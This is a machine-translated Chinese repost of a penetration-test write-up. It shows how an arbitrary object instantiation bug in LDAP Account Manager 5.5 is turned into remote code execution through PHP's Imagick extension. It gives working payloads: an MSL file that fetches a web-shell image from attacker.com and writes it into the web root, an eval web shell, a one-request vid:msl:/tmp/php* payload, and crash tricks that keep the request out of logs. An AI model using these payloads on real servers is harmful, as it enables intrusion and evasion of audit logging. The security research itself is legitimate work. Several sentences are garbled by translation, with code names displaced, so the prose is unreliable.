天天看點

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

作者:區塊軟體開發

譯:https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

在内部滲透測試期間,我在 PHP 應用程式 LAM(LDAP 帳戶管理器)中發現了一個未經身份驗證的任意對象執行個體化漏洞。

PHP 的任意對象執行個體化是一個缺陷,攻擊者可以在其中建立任意對象。這個缺陷可以有各種形狀和大小。就我而言,易受攻擊的代碼可以縮短為一個簡單的結構:

new $_GET['a']($_GET['b']);           

就是這樣。那裡沒有其他東西,而且我沒有自定義類來為我提供代碼執行或檔案上傳。在本文中,我将解釋如何通過此構造獲得遠端代碼執行。

發現 LDAP 帳戶管理器

在我們的内部滲透測試開始時,我掃描了網絡的636 / tcp端口(ssl/ldap),并發現了一個LDAP服務:

$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -n
Nmap scan report for 10.0.0.1
Host is up (0.005s latency).

PORT STATE SERVICE VERSION
369/tcp closed ldap
443/tcp open ssl/http Apache/2.4.25 (Debian)
636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=*.company.com
| Subject Alternative Name: DNS:*.company.com, DNS:company.com
| Not valid before: 2022-01-01T00:00:00
|_Not valid after: 2024-01-01T23:59:59
|_ssl-date: TLS randomness does not represent time           

我嘗試通過匿名會話通路此 LDAP 服務,但失敗了:

$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)           

但是,在我将“10.0.0.1 company.com”行放入我的 /etc/hosts 檔案後,我能夠連接配接到此 LDAP 并提取所有公開可用的資料。這意味着伺服器進行了TLS SNI檢查,我可以使用伺服器證書中的主機名繞過它。

域“company.com”不是伺服器的正确域名,但它有效。

$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
configContext: cn=config
namingContexts: dc=linux,dc=company,dc=com
…

$ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=*)" "*" +
…
objectClass: person
objectClass: ldapPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl
…           

提取資訊後,我發現LDAP中幾乎每個使用者記錄都有sshPublicKey屬性,其中包含使用者的SSH公鑰。是以,通路此伺服器意味着可以通路該客戶的整個 Linux 基礎結構。

由于我不知道OpenLDAP中有任何漏洞,我決定在端口443 / tcp上對任何檔案和目錄暴力破解Apache伺服器。隻有一個目錄:

[12:00:00] 301 -   344B   ->  /lam => https://10.0.0.1/lam/           

這就是我找到LAM系統的方式。

LDAP 客戶經理

LDAP 帳戶管理器 (LAM) 是一個 PHP Web 應用程式,用于通過使用者友好的 Web 前端管理 LDAP 目錄。它是FreeIPA的替代品之一。

我遇到了 LAM 5.5 系統:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

找到的 /lam/ 頁面重定向到此處

LAM 的預設配置允許任何 LDAP 使用者登入,但可以很容易地将其更改為僅接受來自指定管理組的使用者。還可以強制執行其他雙因素身份驗證,例如Yubico或TOTP。

LAM的源代碼可以從其官方GitHub頁面下載下傳。LAM 5.5 于 2016 年 9 月釋出。與較新版本相比,LAM 5.5 的代碼庫相當差,這給了我一些挑戰。

與許多 Web 應用程式相比,LAM 不打算手動安裝到 Web 伺服器。LAM 包含在 Debian 倉庫中,通常從那裡或從 deb/rpm 軟體包安裝。在這樣的設定中,伺服器上不應有配置錯誤,也沒有其他軟體。

分析 LDAP 帳戶管理器

LAM 5.5 有一些腳本可供未經身份驗證的使用者使用。

我發現了一個LDAP注入,這是無用的,因為資料被注入到匿名LDAP會話中,還有一個任意對象執行個體化。

/lam/templates/help.php:

if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) {
    include_once(__DIR__ . "/../lib/modules.inc");
    if (isset($_GET['scope'])) {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']);
    }
    else {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']);
    }
…           

/lib/modules.inc:

function getHelp($module,$helpID,$scope='') {
    …
    $moduleObject = moduleCache::getModule($module, $scope);
    …           

/lam/lib/account.inc:

public static function getModule($name, $scope) {
    …
    self::$cache[$name . ':' . $scope] = new $name($scope);
    …           

在這裡,到達的值和到達的值。在此之後,執行構造。$_GET['module']$name$_GET['scope']$scopenew $name($scope)

是以,我是否會通路該客戶的整個 Linux 基礎架構取決于我是否能夠利用此結構進行遠端代碼執行。

通過自定義類或自動加載利用“新$a($b)”

在構造中,變量代表将為其建立對象的類名,變量代表将傳遞給對象構造函數的第一個參數。new $a($b)$a$b

如果來自 GET/POST,它們可以是字元串或字元串數組。如果它們來自 JSON 或其他地方,則可能具有其他類型,例如對象或布爾值。$a$b

讓我們考慮以下示例:

class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);           

在此代碼中,您可以設定toorandto。在此之後,指令将被執行。$aAppApp2$buname -auname -a

如果您的應用程式中沒有此類可利用的類,或者您在易受攻擊的代碼未包含的單獨檔案中具有所需的類,則可以檢視自動加載函數。

自動加載函數是通過注冊回調或通過定義來設定的。當嘗試建立未知類的執行個體時,将調用它們。spl_autoload_register__autoload

# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();           

根據 PHP 版本和自動加載函數中的代碼,可能存在一些通過自動加載擷取遠端代碼執行的方法。

在 LAM 5.5 中,我找不到任何有用的自定義類,也沒有自動加載功能。

通過内置類利用“新$a($b)”

當您沒有自定義類和自動加載時,您隻能依賴内置的 PHP 類。

有 100 到 200 個内置的 PHP 類。它們的數量取決于 PHP 版本和安裝的擴充。所有内置類都可以通過函數與自定義類一起列出:get_declared_classes

var_dump(get_declared_classes());           

可以通過反射 API 找到具有有用構造函數的類。

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

使用通貨再膨脹 API 顯示構造函數及其參數:https://3v4l.org/2JEGF

如果控制多個構造函數參數,并且之後可以調用任意方法,則可以通過多種方式擷取遠端代碼執行。但是,如果您隻能傳遞一個參數并且不對建立的對象進行任何調用,則幾乎沒有任何調用。

我知道隻有三種方法可以從中得到一些東西。new $a($b)

利用 SSRF + Phar 反序列化

Theclass 實作了一個構造函數,該構造函數允許連接配接到任何本地或遠端 URL:SplFileObject

new SplFileObject('http://attacker.com/');           

這允許 SSRF。此外,PHP < 8.0 中的 SSRF 可以通過 Phar 協定的技術轉換為反序列化。

我不需要 SSRF,因為我可以通路本地網絡。而且,我在 LAM 5.5 中找不到任何 POP 鍊,是以我甚至沒有考慮通過 Phar 利用反序列化。

利用PDO

PDO類還有另一個有趣的構造函數:

new PDO("sqlite:/tmp/test.txt")           

構造函數接受DSN字元串,允許我們使用已安裝的資料庫擴充連接配接到任何本地或遠端資料庫。例如,SQLite 擴充可以建立空檔案。PDO

當我在目标伺服器上對此進行測試時,我發現它沒有任何PDO擴充。SQLite,MySQL,ODBC等都不是。

SoapClient/SimpleXMLElement XXE

在 PHP ≤ 5.3.22 和 ≤ 5.4.12 中,SoapClient 的構造函數容易受到 XXE 的攻擊。SimpleXMLElement的構造函數也容易受到XXE的攻擊,但它需要libxml2<2.9。

發現利用“新$a($b)”的新方法

為了發現新的利用方式,我決定擴大攻擊面。我首先弄清楚 LAM 5.5 支援哪些 PHP 版本,以及它使用哪些 PHP 擴充。new $a($b)

由于 LAM 是通過 deb/rpm 軟體包分發的,是以它包含一個配置檔案及其所有要求和依賴項:

Package: ldap-account-manager
Architecture: all
Depends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends}
Recommends: php-apc
Suggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl
...           

deb 包配置檔案的内容(參見 GitHub)

LAM 5.5 需要 PHP ≥ 5.4.26,以及 LDAP、GD、JSON 和 Imagick 擴充。

Imagick因遠端代碼執行漏洞而臭名昭著,例如ImageTragig等。這就是我決定繼續研究的地方。

伊瑪奇克擴充

Imagick 擴充實作了多個類,包括類 Imagick。它的構造函數隻有一個參數,可以是字元串或字元串數組:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

Imagick 文檔:https://www.php.net/manual/en/imagick.construct.php

我測試了是否接受遠端方案并可以通過HTTP連接配接到我的主機:Imagick::__construct

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

在 LAM 5.5 中建立任意 Imagick 執行個體

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

接收來自 LAM 5.5 的連接配接

我發現目标伺服器上存在 Imagick 類,執行足以強制伺服器連接配接到我的主機。但是,目前尚不清楚建立Imagick執行個體是否足以觸發ImageMagick中的任何漏洞。new Imagick(...)

我試圖将公開可用的 POC 發送到伺服器,但它們都失敗了。在那之後,我決定讓它變得簡單,并在其中一個應用程式安全社群中尋求建議。

幸運的是,埃米爾·勒納(Emil Lerner)來幫忙。他說,如果我可以将諸如“epsi:/local/path”或“msl:/local/path”之類的值傳遞給ImageMagick,它将使用它們的方案部分,例如epsi或msl來确定檔案格式。

探索 MSL 格式

最有趣的ImageMagick格式是MSL。

MSL 代表 Magick 腳本語言。它是一種内置的 ImageMagick 語言,有助于讀取圖像、執行圖像處理任務以及将結果寫回檔案系統。

我測試了是否允許方案:new Imagick(...)msl:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

通過新的 Imagick(...) 包含一個 msl 檔案

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

啟動 HTTP 伺服器以提供要通過 MSL 複制的檔案

MSL方案适用于最新版本的PHP,Imagick和ImageMagick!

不幸的是,不支援 URL,我需要将檔案上傳到伺服器才能進行制作。msl:http://attacker.com/msl:

在 LAM 中,沒有允許未經身份驗證的上傳的腳本,我認為使用 PHP_SESSION_UPLOAD_PROGRESS 的技術會有所幫助,因為我需要一個格式良好的 XML 檔案 MSL。

伊瑪基克的路徑解析

Imagick不僅支援自己的URL方案,還支援PHP方案(如“php://”,“zlib://”等)。我決定找出它是如何工作的。

這是我的發現。

空位元組仍然有效

Imagick 參數被空位元組截斷,即使它包含 PHP 方案:

# No errors
$a = new Imagick("/tmp/positive.png\x00.jpg");

# No errors
$a = new Imagick("http://attacker.com/test\x00test");           

方括号可用于檢測圖像魔術

ImageMagick能夠從檔案路徑末尾的方括号中讀取選項,例如圖像的大小或幀号:

# No errors
$a = new Imagick("/tmp/positive.png[10x10]");

# No errors
$a = new Imagick("/tmp/positive.png[10x10]\x00.jpg");           

這可用于确定是否控制對 ImageMagick 庫的輸入。

“https://”轉到PHP,但“https:/”去卷曲

ImageMagick支援100多種不同的方案。

ImageMagick的一半方案映射到外部程式。可以使用以下指令檢視此映射:convert -list delegate

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

轉換清單委托的輸出

通過觀察輸出,可以發現PHP和ImageMagick都支援HTTPS方案。convert -list delegate

此外,傳遞“https:/”字元串繞過 PHP 的 HTTPS 用戶端并調用 curl 程序:new Imagick(...)

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

通過新的 Imagick 調用卷曲程序(...)

這也克服了TLS證書檢查,因為使用了标志。這會将伺服器的輸出重新整理到檔案,當程序處于活動狀态時,可以通過暴力強制檔案名找到該檔案。-k/tmp/*.dat/proc/[pid]/fd/[fd]

我無法使用“https:/”接收連接配接來自目标伺服器的方案,可能是因為沒有 curl。

PHP 的數組可用于枚舉檔案

當我發現将請求資料重新整理到和暴力強制的 curl 技術時,我測試了是否也重新整理了資料。确實如此!/tmp/*.dat/proc/[pid]/fd/[fd]new Imagick('http://...')

我測試了是否可以暫時使 MSL 内容出現在其中一個 Apache 工作程序中,然後從另一個工作程序中通路它。/proc/[pid]/fd/[fd]

由于允許字元串數組并在第一個錯誤後停止處理實體,是以我能夠在伺服器上枚舉 PID 并發現我可以從中讀取檔案描述符的 Apache 工作線程的所有 PID:new Imagick(...)

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

發現 Apache 工作程序的所有 PID 我可以從中讀取檔案描述符

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

從 ImageMagick 擷取顯示 PID 的連接配接,我可以從中讀取檔案描述符

我發現由于 Debian 中的一些強化,我隻能通路我在其中執行代碼的 Apache 工作程序,而無法通路其他程序。但是,這種技術在我的 Arch Linux 上本地工作。

RCE #1:PHP 崩潰 + 蠻力

在測試了從檔案描述符包含檔案的多種方法後,我發現類似的結構導緻工作程序在遠端 Web 伺服器上崩潰:text:fd:30

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

工作程序将很快由父 Apache 程序重新啟動

這就是最初可以上傳 Web shell 的原因!

我們的想法是使用多部分/表單資料請求建立多個PHP臨時檔案。根據預設值,任何用戶端都可以在分段請求中發送最多 20 個檔案,這些檔案将被儲存到路徑中。如果我們導緻建立這些檔案的工作線程崩潰,則這些檔案将永遠不會被删除。max_file_uploads/tmp/phpXXXXXXX ∈ [A-Za-z0-9]

如果我們發送 20,000 個這樣的多部分請求,每個請求包含 20 個檔案,則會導緻建立 400,000 個臨時檔案。

20,000 × 20 = 400,000(26+26+10

)6/ 400,000 = 142,000

P(A) = 1 – (1 – 400,000/(26+26+10)6)142,000 ≈ 0.6321

是以,在 63.21% 的幾率下,經過 142,000 次嘗試,我們将能夠猜測至少一個臨時名稱,并将我們的檔案包含在 MSL 内容中。

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

發送超過 20,000 個初始請求不會加快該過程。任何導緻崩潰的請求都非常慢,需要一秒鐘以上。此外,建立超過 400,000 個檔案可能會在檔案系統上産生意外開銷。

讓我們構造這個多部分請求!

首先,我們需要建立一個帶有 Web shell 的圖像,因為 MSL 隻允許圖像處理:

convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png           

其次,讓我們建立一個 MSL 檔案,該檔案将此圖像從我們的 HTTP 伺服器複制到可寫 Web 目錄。在LAM的配置檔案中找到這樣的目錄并不難。

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://attacker.com/positive.png" />
<write filename="/var/lib/ldap-account-manager/tmp/positive.php" />
</image>           

第三,讓我們把它們放在Burp Suite Intruder中:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

配置打嗝套件入侵者

為了使攻擊順利進行,我設定了 PHPSESSID cookie 以防止建立多個會話檔案(不要與臨時上傳檔案混淆)并指定了伺服器的直接 IP,因為事實證明我們在 10.0.0.1 上有一個平衡器将請求定向到不同的資料中心。

此外,我在 Burp 入侵者中啟用了拒絕服務模式,以防止 Burp Suite 的描述符耗盡,這可能是由于伺服器端的 TCP 處理不正确而發生的。

在發送了所有 20,000 個多部分請求後,我通過 Burp Intruder 暴力破解了檔案:/tmp/phpXXXXXX

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

暴力破解 /tmp/phpXXXXXX 檔案

那裡沒有什麼可看的;所有伺服器響應保持不變。但是,經過 120,000 次嘗試,我們的 Web shell 上傳了!

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

在目标伺服器上執行“id”指令

在此之後,我們獲得了對OpenLDAP的管理通路權限,并以最大權限控制了該客戶的所有Linux伺服器!

RCE #2:VID 計劃

我試圖在本地重制這項技術,我發現這種結構不再使ImageMagick崩潰。我深入到ImageMagick資源中尋找新的崩潰,我發現了更好的東西。text:fd:30

這是我的發現。

讓我們來看看函數 ReadVIDImage,它用于解析 VID 方案:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

ReadVIDImage 的源代碼(參見 GitHub)

此函數調用展開檔案名。Expand檔案名的描述詳細解釋了這個函數所做的一切。

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

ExpandFilenames 函數的說明(請參閱 GitHub 上)

擴充檔案名的調用意味着 VID 方案接受掩碼,并使用它們構造檔案路徑。

是以,通過使用該方案,我們可以在不知道其名稱的情況下将臨時檔案包含在 MSL 内容中:vid:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

包含不知道其名稱的 MSL 檔案

在這之後,我發現了相當有趣的計劃。兩者的結合可以消除帶外連接配接,并一舉建立一個 web shell:caption:info:

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

通過标題上傳 Web 外殼:和資訊:方案

在沒有自定義類的情況下利用 PHP 中的任意對象執行個體化

擷取上傳/var/lib/ldap-account-manager/tmp/positive.php檔案的内容

這就是我們能夠在一個請求中利用此任意對象執行個體化的方式,而無需任何應用程式的類!

最終有效載荷

以下是利用任意對象執行個體化的最終有效負載:

Class Name: Imagick
Argument Value: vid:msl:/tmp/php*

-- Request Data --
Content-Type: multipart/form-data; boundary=ABC
Content-Length: ...
Connection: close
 
--ABC
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: text/plain
 
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" />
 <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
 <write filename="info:/var/www/swarm.php" />
</image>
--ABC--           

它應該适用于安裝了 Imagick 擴充的每個系統,如果您找到合适的小工具,它可以用于反序列化。

當 PHP 運作時是 libapache2-mod-php 時,您可以通過上傳 web shell 并同時使程序崩潰來阻止記錄此請求:

Argument Value: ["vid:msl:/tmp/php*", "text:fd:30"]           

由于該結構不适用于最新的ImageMagick,是以這是另一個:text:fd:30

Crash Construction: str_repeat("vid:", 400)           

這個适用于 7.1.0-40 以下的每個 ImageMagick(2022 年 7 月 4 日釋出)。

在像Nginx + PHP-FPM這樣的安裝中,請求不會從Nginx的日志中消失,但它不應該被寫入PHP-FPM日志。

繼續閱讀